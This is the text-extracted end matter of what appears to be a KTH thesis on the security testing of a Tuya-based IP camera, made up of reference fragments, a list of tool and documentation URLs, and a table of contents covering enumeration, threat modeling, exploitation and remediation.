(ICASSP), Calgary, AB: IEEE, Apr. 2018, pp. 2027-2031, 1sBN: 978-1-
5386-4658-8. por: 10.1109/ICASSP.2018.8461330. [Online].
Available: https ://ieeexplore . ieee . org/document /
8461330/ (visited on 04/26/2022).

Hping - Active Network Security Tool. [Online]. Available: http: //
www . hping.org/ (visited on 04/25/2022).


https://github.com/codetheweb/tuyapi
https://github.com/codetheweb/tuyapi
https://github.com/TuyaAPI/cli
https://github.com/harryzz/tuyapi
https://github.com/pxb1988/dex2jar
https://github.com/java-decompiler/jd-gui
https://github.com/java-decompiler/jd-gui
https://doi.org/10.17487/RFC6151
https://datatracker.ietf.org/doc/rfc6151
https://datatracker.ietf.org/doc/rfc6151
https://developer.tuya.com/en/docs/app-development/camera-scan-code-network-configuration?id=Kaixkcv3adu8y
https://developer.tuya.com/en/docs/app-development/camera-scan-code-network-configuration?id=Kaixkcv3adu8y
https://developer.tuya.com/en/docs/app-development/camera-scan-code-network-configuration?id=Kaixkcv3adu8y
https://doi.org/10.1109/ICASSP.2018.8461330
https://ieeexplore.ieee.org/document/8461330/
https://ieeexplore.ieee.org/document/8461330/
http://www.hping.org/
http://www.hping.org/




TRITA - EECS-EX-2022:213

www.kth.se



https://www.kth.se/

	Introduction
	Problem
	Purpose and goals
	Scope
	Device
	Attack surface
	Testing environment

	Limitations

	Background
	XML
	RTSP
	SOAP
	ONVIF
	ICMP
	Tuya
	DoS attack
	Traffic sniffing
	Port scanning
	WS-Discovery
	STUN Protocol
	PatrIoT

	Method
	Planning
	Threat modeling
	Exploitation
	Reporting

	Result
	Enumeration and Information gathering
	Hardware
	Web
	TCP/8000 - ONVIF
	TCP/8554 - RTSP
	UDP/3702 - WS-Discover
	UDP/3703

	Network
	Third party cloud solution
	TCP/6668 Tuya Custom Protocol
	Motion and sound detection notification traffic
	Exposed information
	Communication during device setup

	Mobile
	App
	App APK
	Device pairing to WiFi with QR Code


	Threat modeling
	General architecture overview 
	Use cases
	Setup and pair device
	Stream media
	Motion detection notification
	Recording media locally
	2-way communication
	ONVIF Stream
	Change settings

	Attack surface decomposition 

	Exploitation
	SD-Card
	ONVIF
	Impact and severity of vulnerability
	Proof of concept
	Step to reproduce
	References for remediation

	Tuya Custom Protocol
	QR code
	Motion and sound detection notification traffic
	Impact and severity
	Proof of concept
	Steps to reproduce
	Remediation

	UDP flooding
	UDP flood one
	UDP flood two
	Impact and severity
	Proof of concept
	Steps to reproduce
	Remediation



	Discussion
	Tuya
	Mobile application
	SD-Card
	ONVIF & RTSP
	Tuya Custom Protocol
	QR code
	Motion and sound detection
	UDP flooding

	Conclusions and Future work
	Conclusions
	Future work

	References



